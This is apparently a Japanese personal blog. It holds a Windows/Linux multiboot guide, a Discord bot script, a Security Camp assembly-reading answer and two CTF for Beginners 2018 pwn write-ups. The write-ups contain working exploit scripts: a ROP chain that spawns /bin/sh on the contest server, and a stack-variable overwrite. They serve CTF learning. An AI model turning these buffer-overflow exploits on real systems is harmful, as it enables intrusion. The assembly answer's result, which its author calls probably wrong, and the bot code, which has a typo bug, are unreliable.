Windows10とLinuxOSを共存させる(マルチブート)

2週間に1回は投稿しようと決めていたのに2ヶ月間放置してしまいました笑 今日はタイトルにあるとおりPCにいくつもOSを入れる方法を紹介します。
経緯としては最近ゲームをやらなくなって埃かぶっているほど放置してたゲーミングPCがあるのですが、さすがにもったいないので、このデスクトップPCにLinuxOS入れて会社のタスクやったりプログラミングの勉強したりと有効活用してやろうと思ってやりました。マルチブートは何回か経験があり、すぐ終わると思ってたのですがEFIの設定で時間かかってしまったのでブログに書いておこうと思いました。またマルチブートについてですがあまり多くてもしょうがないので2つか多くても3つをおすすめします。容量が1000GBあるノートPCにもったいないと思ってWindows10, Ubuntu, Kali, Arch, Kubuntuの5つのマルチブートしましたが基本1つしか使わないし、たまにWindows10使うことはあっても他の3つは入れた後ほとんど触ってないです。

「空き領域の確保」

まずWindows10の[設定]画面を開きます。開いたら検索のところに「パーティション…」とつづると「パーティションの作成とフォーマット」という候補が出てくるのでクリックします。
すると現在のパーティション分けされている図が出てくると思います。そこで、使っていない領域もしくは縮小してもいい領域を右クリックして「領域の縮小」をクリックします。するといくつ削るか聞かれると思うので、自分が新しく作りたい領域のGB数×1024の値をそこに埋めてください。スワップ領域も含め最低でも25GBはあった方が良いと思います。
f:id:r30n:20180831230324p:plain
上の画面のように空き領域が作れていることを確認したら、検索バーに「電源の詳細設定」と検索してクリックしてください。そこにある高速スタートアップ機能をオフにしてください。
以上のことが終わったら再起動してください。

EFIの設定」

電源が落ちたのを確認したら、F2かF12を連打していてください。これは使っているPCによって違うので分かりませんが、たいていF1~F12のどれかを連打していればEFIの設定画面に移れると思います。
f:id:r30n:20180831230403j:plain
EFIの設定画面を開けたら「Security」タブにある[Secure Boot]をdisableに変更します。次に「Boot」タブに移って[Operateing System Select]をManualに変更します。次に[Fast Boot]をdisableに変更します。次に下の方に[Boot Option#n]と並んでいますが今回はUSBからOSを入れるので[USB Hard Disk]を一番上に持ってきてください。※DVDから入れる人は適宜合わせてください。次にその下にある[CSM]をenableに変更します。
以上のことが終わったら[Exit]タブに移って[Boot Override]にUSB Hard Diskがあることを確認したら保存して終了します。

USBメモリにISOイメージを書き込む」

自分が入れたいディストリビューションのサイトから、PCのアーキテクチャに合わせたISOイメージをダウンロードします。現在は64bitが主流なので、おそらくamd64と書かれたものです。問題はUSBにダウンロードしたISOイメージを書き込むことなのですが、私の知るかぎりではWindowsからだとツールをダウンロードして使うしかありません。でも開発者が把握できてないツールをダウンロードして使用するのはあまりおすすめしません。そこで私は普段からLinuxコマンドでやってしまいます。MacOSでもddコマンドは使えるそうなのでMacが使える環境にある人はターミナルを開いてコマンドでやりましょう。Windowsしかない方は仕方ないのでよく調べてからツールをダウンロードしてISOイメージを書き込んでください。ただ私がウイルスにかかったことが昔にあってトラウマなだけで、実際ネットで検索していろんな人が使っているような有名なツールとかは大丈夫だと思います。
LinuxMacが手元にある人は以下に続いてください。
用意したUSBをパソコンに差しターミナルを開いて

sudo fdisk -l 

を実行してください。するとUSBがなんという名前のパーティション名なのかがわかります。(/dev/sda や /dev/sdcなど)
パーティション名が分かったら

sudo dd if=入れたいOS.iso of=パーティション名

という形でコマンドを打って実行してください。
例えば自分の場合では

 sudo dd if = kali_linux_2018_1.iso of=/dev/sdb 

となりました。それぞれ環境に合わせて変えてください。
これでしばらく待つと完成します。

「OSのインストール」

完成させたUSBをマルチブートさせたいPCにさして電源を入れます。EFIの設定が上手くできていたらインストール画面が出てくると思います。ここから先はディストリビューションによって違うのでディストリビューションに合わせて調べてください。Ubuntuはインストールガイドが親切なのでそれに従ってれば良いと思います。ただし共通していることとして、この作業では1歩間違えば、元のOSが使えなくなってしまうので慎重にすすめてください。


雑な紹介でしたが以上の流れでマルチブートできます。linuxOSはあっても困らないしMacOSWindowsと違って無料なのでぜひ入れてみてください。
また格安PCを買ってWindowsが重すぎる人にも結構おすすめです。Linuxは基本的にどれも軽いOSなので普通に動きます。自分も今3万で買ったノートパソコンをメインで使っていますが6万並みの快適さはあると思っています笑 ぜひ1度使ってみてください。

CTF for Beginners 2018 のWrite up [BBS(Pwn)]

まずは動作確認から。

$ ./bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 
Input Content : testes

==============================

2018年  6月 19日 火曜日 15:09:40 JST
testes

==============================

$

文字列を入力できて、入力すると点線とdateと入力した値が出力される。
続いてmain関数のアセンブリを見てみる。

00000000004006a1 <main>:
  4006a1:       55                      push   %rbp
  4006a2:       48 89 e5                mov    %rsp,%rbp
  4006a5:       48 83 c4 80             add    $0xffffffffffffff80,%rsp
  4006a9:       bf 88 07 40 00          mov    $0x400788,%edi
  4006ae:       b8 00 00 00 00          mov    $0x0,%eax
  4006b3:       e8 98 fe ff ff          callq  400550 <printf@plt>
  4006b8:       48 8d 45 80             lea    -0x80(%rbp),%rax
  4006bc:       48 89 c7                mov    %rax,%rdi
  4006bf:       b8 00 00 00 00          mov    $0x0,%eax
  4006c4:       e8 a7 fe ff ff          callq  400570 <gets@plt>
  4006c9:       bf a0 07 40 00          mov    $0x4007a0,%edi
  4006ce:       e8 4d fe ff ff          callq  400520 <puts@plt>
  4006d3:       bf c1 07 40 00          mov    $0x4007c1,%edi
  4006d8:       e8 63 fe ff ff          callq  400540 <system@plt>
  4006dd:       48 8d 45 80             lea    -0x80(%rbp),%rax
  4006e1:       48 89 c6                mov    %rax,%rsi
  4006e4:       bf c8 07 40 00          mov    $0x4007c8,%edi
  4006e9:       b8 00 00 00 00          mov    $0x0,%eax
  4006ee:       e8 5d fe ff ff          callq  400550 <printf@plt>
  4006f3:       b8 00 00 00 00          mov    $0x0,%eax
  4006f8:       c9                      leaveq 
  4006f9:       c3                      retq   
  4006fa:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)

pltにはprintf、gets、puts、system関数があることがわかります。
またバッファは0x80、つまり128byte確保されておりrbpの8byteも含めてOffsetは136byteです。

次に一応働いているセキュリティをgdb-pedaで調べます。
checksecコマンドを打つと、

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXがENABLEDになっています。NXはスタック上のコードが実行不可能になる機能ですが今回の場合、スタック上には「命令のアドレス」を書いているだけなので問題ないです。
以上を踏まえて、流れとしては
1. Offsetの136byteを'a'などで埋める。
2. rdiをPOPして、rdiにアドレスが固定で書き込み権限がある.bssの先頭アドレスを入れる。
3. gets関数を呼び出してgets(bss_addr)を実行し入力を待つ。
4. .bssに("bin/sh")を入力してsystem("bin/sh")を実行させる

というようになっています。

$gdb-pedaでdumpropでROPガジェットを探します。

gdb-peda$ dumprop 
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret
0x4006f7: add cl,cl; ret
0x40076f: add bl,dh; ret
0x4004fe: add esp,0x8; ret
0x4004fd: add rsp,0x8; ret
0x400659: add ebx,esi; ret
0x40069e: nop; pop rbp; ret
0x40074c: fmul [rax-0x7d]; ret
0x400761: pop rsi; pop r15; ret
0x400760: pop r14; pop r15; ret
0x400658: add [rcx],al; repz ret
0x40076e: add [rax],al; repz ret
0x400635: nop [rax]; pop rbp; ret
0x4006f3: mov eax,0x0; leave; ret
0x4006f6: add [rax],al; leave; ret
0x4005ee: add [rax],al; pop rbp; ret
0x4006f5: add [rax],al; add cl,cl; ret
0x40076d: add [rax],al; add bl,dh; ret
0x400768: nop [rax+rax*1+0x0]; repz ret
0x400775: sub esp,0x8; add rsp,0x8; ret

次に.bssの先頭アドレスを探します。これはobjdump -h か gdb-pedaのinfo filesで見ます。

gdb-peda$ info files 
Symbols from "/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7".
Local exec file:
        `/home/r30n/workspace/ctf/ctf_4b_2018/bbs/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64.
        Entry point: 0x400590
        0x0000000000400238 - 0x0000000000400254 is .interp
        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
        0x0000000000400298 - 0x00000000004002bc is .gnu.hash
        0x00000000004002c0 - 0x0000000000400398 is .dynsym
        0x0000000000400398 - 0x00000000004003f6 is .dynstr
        0x00000000004003f6 - 0x0000000000400408 is .gnu.version
        0x0000000000400408 - 0x0000000000400428 is .gnu.version_r
        0x0000000000400428 - 0x0000000000400458 is .rela.dyn
        0x0000000000400458 - 0x00000000004004e8 is .rela.plt
        0x00000000004004e8 - 0x0000000000400502 is .init
        0x0000000000400510 - 0x0000000000400580 is .plt
        0x0000000000400580 - 0x0000000000400588 is .plt.got
        0x0000000000400590 - 0x0000000000400772 is .text
        0x0000000000400774 - 0x000000000040077d is .fini
        0x0000000000400780 - 0x00000000004007ec is .rodata
        0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr
        0x0000000000400828 - 0x000000000040093c is .eh_frame
        0x0000000000600e08 - 0x0000000000600e18 is .init_array
        0x0000000000600e18 - 0x0000000000600e20 is .fini_array
        0x0000000000600e20 - 0x0000000000600e28 is .jcr
        0x0000000000600e28 - 0x0000000000600ff8 is .dynamic
        0x0000000000600ff8 - 0x0000000000601000 is .got
        0x0000000000601000 - 0x0000000000601048 is .got.plt
        0x0000000000601048 - 0x0000000000601058 is .data
        0x0000000000601058 - 0x0000000000601068 is .bss

必要なアドレスが揃ったのでプログラムを書きます。

# -*- coding: utf-8 -*-

import socket, struct, telnetlib


def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)


def read_until(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
      data += f.read(1)
    return data


def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
def p64(a): return struct.pack("<Q",a)
def u64(a): return struct.unpack("<Q",a)[0]


s, f = sock("pwn1.chall.beginners.seccon.jp", 18373)

buf = ''
buf += 'A' * 0x88
buf += p64(0x400763) # pop rdi; ret; addr
buf += p64(0x601058) # buffer_addr (bss)
buf += p64(0x400570) # gets addr
buf += p64(0x400763) # pop rdi; ret; addr
buf += p64(0x601058) # buffer_addr
buf += p64(0x400540) # system addr
f.write(buf + '\n')

buf = '/bin/sh'
f.write(buf + '\n')

shell(s)

プログラムを実行してlsコマンドを打つとflag.txtが見つかりcatで中身を見るとフラグをゲット出来ます。

セキュリティキャンプ2018[脆弱性・マルウェア解析コース]のアセンブリwrite up

こんにちは~!今日はセキュリティキャンプの合格発表の日でしたね。CTF初心者勉強会に参加していたのですが当落が気になって全然集中出来ませんでした(笑)
結果はダメでした。去年は適当に書いたし知識もあまりなかったので落ちても仕方がないと思っていたのですが、今年は「好きな脆弱性について述べる問題」と「アセンブリを読み解く問題」の2問は字数制限の4096文字で書いたり他の問題もある程度書いたつもりですがセキュリティキャンプ課題はやはり厳しいですね。今年は応募総数が約400人で合格者が80人みたいです。
反省点もいくつかあり、1つ目は問7のイメージファイルの修復をする問題が全然解けなかったことです。これが一番の敗因であると考えています。またアセンブリを読み解くのに2週間くらいかけたこともあります。つまり知識不足ということです。これはCTFを通して勉強していきます。
もう1つはブログやgithubを全然活用していなかったこと。「作ってきたプログラムについて述べてください(問1)」と「ブログやgithubがあれば教えてください(問3)」は毎年聞かれていることを知りながらgithubもprivateとして使っていてpublicには何も投げていないしブログも全く書いていないとなると、いくら回答ページにこういうものを作りましたと説明しても審査員側は分からない、少なくともイメージしにくいですよね。これは今すぐ出来ることなので来年に向けて習慣化させていこうと思います。
そして3つ目に、そもそも作ってきたソフトウェア(問1)や解析したソフトウェア(問2)が少なかったこと。作ったソフトウェアはまだしも、ソフトウェアを解析したことはありませんでした。その時点で問2と問7は不利です。今年はゲーム解析を最低1回経験をして来年に書きやすいようにしていこうと思います。

自分の反省はここまでにして、下に自分が1番力を入れたアセンブリ読解の課題回答文を下に貼り付けようと思います。出てきた文字列はたぶん間違っていると思うのですが誰も投稿してる人がいないため間違っているのかも分かりません。個人的に問7のフォレンジックの問題の解き方はめっちゃ気になるので誰か投稿してほしいです。

[問題]

以下にDebian 8.10(amd64)上で動作するプログラムchal00のmain関数の逆アセンブル結果があります
("objdump -d chal00"の出力結果のうち、main関数の箇所を抜粋しました)。
このプログラムは、コマンドライン引数としてある特定の文字列を指定されたときのみ実行結果が0となり、
それ以外の場合は実行結果が1となります。
この実行結果が0となる特定の文字列を探し、その文字列を得るまでに考えたことや試したこと、
使ったツール、抱いた感想等について詳細に報告してください。
```
00000000004003c0 <main>:
  4003c0:       48 b8 0f 0e 0d 0b 00    movabs $0xc0601000b0d0e0f,%rax
  4003c7:       01 06 0c
  4003ca:       83 ff 02                cmp    $0x2,%edi
  4003cd:       48 89 44 24 f0          mov    %rax,-0x10(%rsp)
  4003d2:       48 b8 04 05 08 0a 02    movabs $0x70903020a080504,%rax
  4003d9:       03 09 07
  4003dc:       48 89 44 24 f8          mov    %rax,-0x8(%rsp)
  4003e1:       b8 01 00 00 00          mov    $0x1,%eax
  4003e6:       75 59                   jne    400441 <main+0x81>
  4003e8:       48 8b 56 08             mov    0x8(%rsi),%rdx
  4003ec:       31 c0                   xor    %eax,%eax
  4003ee:       89 c1                   mov    %eax,%ecx
  4003f0:       48 ff c0                inc    %rax
  4003f3:       80 7c 02 ff 00          cmpb   $0x0,-0x1(%rdx,%rax,1)
  4003f8:       75 f4                   jne    4003ee <main+0x2e>
  4003fa:       83 f9 08                cmp    $0x8,%ecx
  4003fd:       b8 01 00 00 00          mov    $0x1,%eax
  400402:       75 3d                   jne    400441 <main+0x81>
  400404:       48 8b 32                mov    (%rdx),%rsi
  400407:       31 c0                   xor    %eax,%eax
  400409:       30 c9                   xor    %cl,%cl
  40040b:       48 89 f2                mov    %rsi,%rdx
  40040e:       48 d3 ea                shr    %cl,%rdx
  400411:       83 e2 0f                and    $0xf,%edx
  400414:       0f b6 54 14 f0          movzbl -0x10(%rsp,%rdx,1),%edx
  400419:       48 d3 e2                shl    %cl,%rdx
  40041c:       83 c1 04                add    $0x4,%ecx
  40041f:       48 09 d0                or     %rdx,%rax
  400422:       83 f9 40                cmp    $0x40,%ecx
  400425:       75 e4                   jne    40040b <main+0x4b>
  400427:       48 33 05 92 ff ff ff    xor    -0x6e(%rip),%rax        # 4003c0 <main>
  40042e:       48 ba 85 03 0e 67 b3    movabs $0x600967b3670e0385,%rdx
  400435:       67 09 60
  400438:       48 39 d0                cmp    %rdx,%rax
  40043b:       0f 95 c0                setne  %al
  40043e:       0f b6 c0                movzbl %al,%eax
  400441:       c3                      retq

[回答]


まず逆アセンブル結果からAT&T記法が使われていることが分かります。1行目では%rax に0xc0601000b0d0e0f の即値が代入されています。2行目では%ediが$0x2と比較してフラグが生成されています。3行目で*(%rsp-0x10) に2行目の%raxが代入されます。4行目で%raxに$0x70903020a080504の即値が代入されます。5行目で*(%rsp-0x8)で4行目の%raxが代入されています。6行目では2行目で出されたフラグレジスタによって分岐されるjump命令があります。Jneはjump not equal の略称であるニーモニックで、これはプログラミング言語演算子である「!=」と同じです。つまり6行目では2行目で%edi = 2ではなかったら、アドレス400441にjumpするということです。アドレス400441ではretqとあるのでmainの終わりを意味していると思いました。%edi はデスティニーションレジスタといい、それの32bitレジスタです。これはC言語コマンドライン引数で言う、argcに相当します。なので2行目と6行目の意味は、コマンドライン引数が2つでなければ処理を終えるということなります。7行目では%rdx = *(%rsi + 0x8)という式になっています。%rsiということなのでソースインデックスの64ビットレジスタ、これはC言語コマンドライン引数で **argv に相当します。1アドレスに1バイトが割り当てられるので*(rsi)の8つ上のアドレスということを意味しています。*(%rsi) はargv[0]のポインタですので、その8つ上ということで64ビット、つまり8バイト上のargv[1]のポインタということになります。私は最初、反対に*(%rsi + 0x8) = *argc であると勘違いしていましたが、読み進めていくうちに違いに気づき、調べなおして理解しました。8行目は%eaxと%eaxをxorしているので0になります。9行目は8行目の%eaxを%ecxに代入しているだけです。10行目は%raxをインクリメントしています。プログラミング言語のように表すと%rax += 1です。11行目は*(%rdx-1+%rax)と0x0を1バイト単位で比較しています。%raxとありますが1バイト単位の比較なので、下位ビットの%eaxと同様に見ても大丈夫と判断しました。なので*(%rdx -1 + %eax)という式に変えます。%eaxは9行目で1インクリメントされているので、1が代入されています。つまり*(%rdx -1 + 1) = *(%rdx)となり、これはargv[1]の1文字目であります。12行目でjneのアドレス4003eeに戻るとあるので、*(%rdx-1 + %eax) が0でない限り、9行目から12行目をループします。9行目に戻ると%ecxには1が代入されます。10行目に戻り、%raxがインクリメントされ、2となります。11行目に戻り、*(%rdx + 1) と 0を比較しています。これはargv[1]の2文字目です。ここで0でなかったら再び9行目に戻ります。というようにループしていくと思うんですが、最初なにしてるんだって思いました。しかし、ちょっと考えてすぐにC言語入門の配列とポインタで勉強した、あることを思い出しました。配列の最後には必ずエスケープシーケンスと呼ばれる制御文字の0が入っていることです。先に次に行を見ると、13行目、%ecxと0x8を比較しています。14行目は%eaxに即値0x1を代入しているだけです。そして15行目で13行目で生成したフラグレジスタによって、アドレス400441にジャンプ する、つまりmain処理を終えます。ここまで読んで、9行目から12行目のループの意味がわかります。制御文字0まで、どんどん%ecxが1ずつ更新されていって、%ecx が8 かどうか比較しているので、ここではコマンドライン引数に入れる文字の長さを測っています。1文字1バイトなので、文字数は8文字であると断定します。16行目からは28行目との間でループ処理に入ります。(アドレス400404~アドレス400425)。まずmovzbl(move zero-extension from byte to long)はどういう命令かというとソースオペランドをデスティネーションオペランドにゼロ拡張してコピーするという命令です。ゼロ拡張はサイズの小さい方からサイズの大きい型に変換するときに足りない部分をゼロで埋めるという操作をします。またここはバイトオーダーにも注意しなければなりません。バイトオーダーとはCPUがメモリに2バイト以上のデータを格納する時の順番のことで、逆転しない方をビッグエンディアン、逆転する方をリトルエンディアンと呼ばれていて、この2種類に分けられています。X64はリトルエンディアンで逆転します。この逆転が起きるのはレジスタからメモリ、もしくはメモリからレジスタへの操作を行うときです。ただし文字列は1バイトのデータの配列なので、メモリ上でも見た目通りの順番で入ります。例えば、’ABCDEFGH’という文字列はメモリ上では41 42 43 44 45 46 47 48という配置になりますが、レジスタに入れるとこれが逆転していることをGDBでも確認できました。つまり、./a.out ABCDEFGHを実行すると、%rsi = 0x4847464544434241が入ると考えられます。16行目から処理の内容を理解しやすいようにコマンドライン引数のargv[1]に’ABCDEFGH’を与えたと仮定してアセンブリを読み進めていきたいと思います。まず%rsi = *(%rdx)ということで上に書いたとおりここでは0x4847464544434241が入ります。17行目で%eax がxorにより0になり、18行目も同様に%clがxorされ0が代入されます。%cl は%ecxの下位8ビットです。後々影響が出てきそうなのでメモしました。そして19行目で%rdx に%rsiの値をコピーします。そして後の二つの行は、まず右シフトで%cl分下位ビットを削りand %0xfという論理積で上位ビットを削っています。20行目の1回目の処理は%cl=0なので、なにもしません。21行目で%edx = %edx and $0xfということで、まず%edx は%rdxの下位32ビットなので、%edx= 0x44434241という値が入っていて16進数一桁分を取り出しているので今回は1が%edxに入ります。そして22行目、式は%edx = *(%rsp-0x10 + %edx)となります。この1バイト単位で処理するので%rdxは%edxと書いても差し支えないと判断しました。Mainの最初の方で*(%rsp-0x10)に即値を入れていたことから、%rsp-0x10が配列のアドレスで%edxはインデックスの役割をしていると考えられます。冒頭で記述しなかったのですが、最初にデータを入れた時は8バイトのデータとしてメモリに書き込んでいるので、ここでもリトルエンディアンが働いていて逆転します。見やすく直すとdata = {0x0f,0x0e,0x0d.0x0b,0x00,0x01,0x06,0x0c}という順番で並んでいると考えられます。ひとまず23行目に続きます。%rdx に%cl回数分左シフトしています。22行目では%cl に4が足されます。そして23行目では%rax = %rax or %rdxしています。%raxは17行目で0が代入されているので、これは結果を保持するための処理ということが考えられます。data に入っているのは全て4bitしかないのでorをしても、それ以外の部分の値が崩れることはありません。2回目のループでは%clが4なので16進数で一桁分右にずれます。そしてand $0xfで上位ビットを削られるので次は%edx=4となります。よって%edx はゼロ拡張されdata配列の要素5番目が入ります。あとは左シフトで%rdxを戻して%raxとorいて16進数で下位の2桁目にmovzblで抜き出した値を入れます。3回目からも同じであとは%raxが埋まるまでループします。あと少しなので先にループを抜けた後の処理を見てみます。アドレス400427では%rax = %rax xor *(%rip-0x6e)ということで、この*(%rip-0x6e)はmainのアドレス4003c0と注があるのでアドレス4003c0を見てみます。%ripって今いるメモリを表していると前に勉強したのですが、その意味がこの部分で実感できました。さて、アドレス4003c0を見ると一番最初の処理のことでした。つまりアドレス400427は%rax = %rax(前のループで抜き出していた値) xor $0f0e0d0b0001060cという式になると考えます。前のループで抜き出した値はまだわからないので次に進みます。アドレス40042eでは%rdx に$0x600967b3670e0385の即値を代入しています。次の行では%rax と%rdxを比較しています。そして次の行(アドレス40043b)では、ニーモニックがsetneなので(set not equalの略。条件が満たされる場合は1、満たされない場合は0を返す)%rax == %rdxの時だけ0を返してくれます。最後に%eax に %al をmovzblするということで%eaxがゼロ拡張され処理を終えます。%rdxもリトルエンディアンが働いているので$0x85030e67b3670960となっている。この%rdxとアドレス400427の即値$0x0f0e0d0b0001060cから逆算して、ループで抜き出した値を計算してみました。ですが明らかに違う。一応書くと出た数値は0x8a0d036cb3660fccでした。原因を1つ1つ見直してたどり着いたのが*(%rip-0x6e)の行でした。ripは64bitのプログラムカウンタなので、つまり正しくは*(rip-0x6e) = 0x48b80f0e0d0b0001なので、リトルエンディアンが働いてxor rax(ループで取り出した値) ,0x01000b0d0e0fb848をしています。同時にアドレス40042eの機械語とアセンブリ部分に目を向けると、逆アセンブラが勝手に逆順にしてくれているのが分かります。よって0x01000b0d0e0fb848と0x600967b3670e0385を逆算します。
0x600967b3670e0885を2進数に直すと
110000000001001011001111011001101100111000011100000100010000101
0x01000b0d0e0fb848を2進数に直すと
000000100000000000010110000110100001110000011111011100001001000
Xorすると0xc1b0016fbe6c0961となりました。data
= {0x0f,0x0e,0x0d.0x0b,0x00,0x01,0x06,0x0c}の文字で構成されています。最初に%raxに入った値は1です。つまり文字列の値はAsciiで16進数下位桁で5ということが分かります。次は6なので、インデックス6なので文字列の値は16進数上位桁で6です。次はと思ったら!!0x9?!!だと。。。計算は間違ってないはずなんですが、。しかしやり方は得絶対合っている!という自信があったので他に見落としているものを考えます。ずっと気になっていた行があります。アドレス4003dcの*(%rsp-0x8) = $0x70903020a080504です。これ1回も使ってないよなーと思っていて、ちょうど0x09の値をここで見つけます。おそらくですが、int型は4バイトなので2つ上のメモリから$0x70903020a080504を入れていると考えます。つまりdata[] = {0x0f,0x0e,0x0d.0x0b,0x00,0x01,0x06,0x0c, 0x04,0x05,0x08,0x0a,0x02,0x03,0x09,0x07}という配列になっているのではないかと考えます。すると3桁目はe、次に4、7、6、1、3、0、6、5、4、4、3、5、7となると考えます。つまり0x7534456031674e65となり文字列に変換するとu4E’1gNeとなりました。なんか、こういうのってメッセージあるかなって思うので(CTFとか)不安になったのですがひとまず文字列を出せました。なんとか形にはできたので自分的には満足です。





以上長々と書きましたがアセンブリは最近勉強し始めたばっかりで結構時間かかりました。でもこの課題を通してアセンブリにだいぶ慣れました。来年はもっとスラスラ読めるようになっていると思うので冒頭の反省点を改善して来年またチャレンジします。

CTF for Beginners のWrite up [Condition(Pwn)]

こんにちは~。去年に引き続き、今年もセキュリティキャンプの課題を受けました。今年は去年より結構多く書きましたが問2の「今まで解析してきたものを教えてください」と問3の「Twitterやブログ、Githubがあれば教えてください」という問に「ヤバい全然書くことない(焦)」と感じて、とりあえず今年から本格的にブログ書いていこうと思いました。セキュキャンの課題でも書きましたがエンジニアがブログを書くことは自分の備忘録としても使えますし、自分がどういうことを作ってきたか学んできたかが第三者にもわかるのでとても重要だと思います。
ということで先日行われたCTF for Beginners 2018のPwnの復習がてらWrite Upを今日から少しずつ投稿していきます。


まず問題ファイルをダウンロードしてきて実行すると何か入力するように言われるので、「test」と入力してみると以下のようになる。

r30n@M0C0:~/workspace/ctf/ctf_4b_2018$ ./condition_68187f0953551cea907c48c016f19ff200de74b4 Please tell me your name...test
Permission denied
r30n@M0C0:~/workspace/ctf/ctf_4b_2018$

まあとりあえずmain関数のアセンブリ見るかと思ってgdbを実行すると
f:id:r30n:20180605150332p:plain
というように出た。
アドレス0x4007a0のcmp部分に注目すると[rbp-0x4]に0xdeadbeefが入っていたらFlagが手に入ると推測する。アドレス400775でrsp −= 0x30されているので、当たり前だが%rbp-0x4と%rspの間は0x2c分空いていることが分かる。アドレス0x40078fのlea命令でraxはlea命令によってrbp-0x30のアドレスとなった。そしてrdiレジスタに、そのraxのアドレス値がコピーされる。x86_64からは引数はrdiレジスタに格納されるので、アドレス0x40079bでgetに入力した値はアドレスrbp-0x30に格納されることがわかる。rbp-0x30=rspなのでバッファオーバーフローを使って空いている0x2c分何かで埋められればFlagが手に入る。

#! /usr/bin/python
# -*- coding: utf-8 -*-
import struct,socket,sys,telnetlib,subprocess,time

#p(0xdeadbeef) --> pack to 4byte little endian '\xef\xbe\xad\xde'
def p(a):
    return struct.pack("<I",a)

HOST = "pwn1.chall.beginners.seccon.jp"
PORT = "16268"

tn = telnetlib.Telnet()
tn.open(HOST,PORT)
ret = tn.read_until("Please tell me your name...",5)
print ret
tn.write('a'*0x2c + p(0xdeadbeef)+'\n')
ret = tn.read_until("hogehoge",5)
print ret
tn.close()

pythonを実行すると

Please tell me your name...
OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

フラグを入手できました~!


いざ書いてみると難しい、、アドレス~に~があるのでみたいな書き方わかりにくいですね。見にくいし。メモリの図などあるとわかりやすいと思いました。
Beginners2018のサーバが落とされる前に残り2問も復習したいけど日常も忙しく時間がない!あと二週間くらいか。
来週は2門目のBBSのWrite Upをあげます。

pythonでdiscord Botを作ってみた

普段友人とオンラインゲームをしている時に無料通話アプリ「discord」を使っています。5人で1チームになって戦うゲームをよくやっているのですが、最近は情報系の勉強や仕事が忙しくて、すでに4人揃っている時だけ参加したいと思ってBOTを作成しようと思いました。今回はPythonを使ってサーバ内でボイスチャットに接続しているメンバーを30分に1回のペースで通知してくれるdiscordのBOTを作ってみました。あまり使う人が多いシステムでないですが、discordのBOTに関する日本語の記事がないので一応ソースコード貼っておきます。

 

開発環境やチュートリアルはこのURLに行って確認してください。

qiita.com

 

プロパティはdiscord.pyの中にあるclient.pyのソースコードを参考にしてください

import discord
import asyncio

my_bot = discord.Client()

channel = discord.Object(id='自分のデフォルトチャンネルIDを入れる')
server = discord.Object(id='自分のサーバIDを入れる')

async def login_status_message():
    while True:
        server_members = [member.name for member in my_bot.get_all_members()]
        logined_member = [member.name for member in my_bot.get_all_members() if member.voice.voice_channel is not None]

        if len(logined_member) == 4:
            m = "現在、"+logined_member[0]+"さんと"+logined_member[1]+"さんと"+logined_member[2]+"さんと"+logined_member[3]+"さんがSATで活動しています!"
            await my_bot.send_message(channel,m)
            n = "4パが出来ています!!"
            await my_bot.send_message(channnel,n)

        await asyncio.sleep(1800)

@my_bot.event
async def on_ready():
    print('Logged in as')
    print(my_bot.user.name)
    print(my_bot.user.id)
    print('------')
    my_bot.loop.create_task(login_status_message())

my_bot.run("自分のTokenを入れる")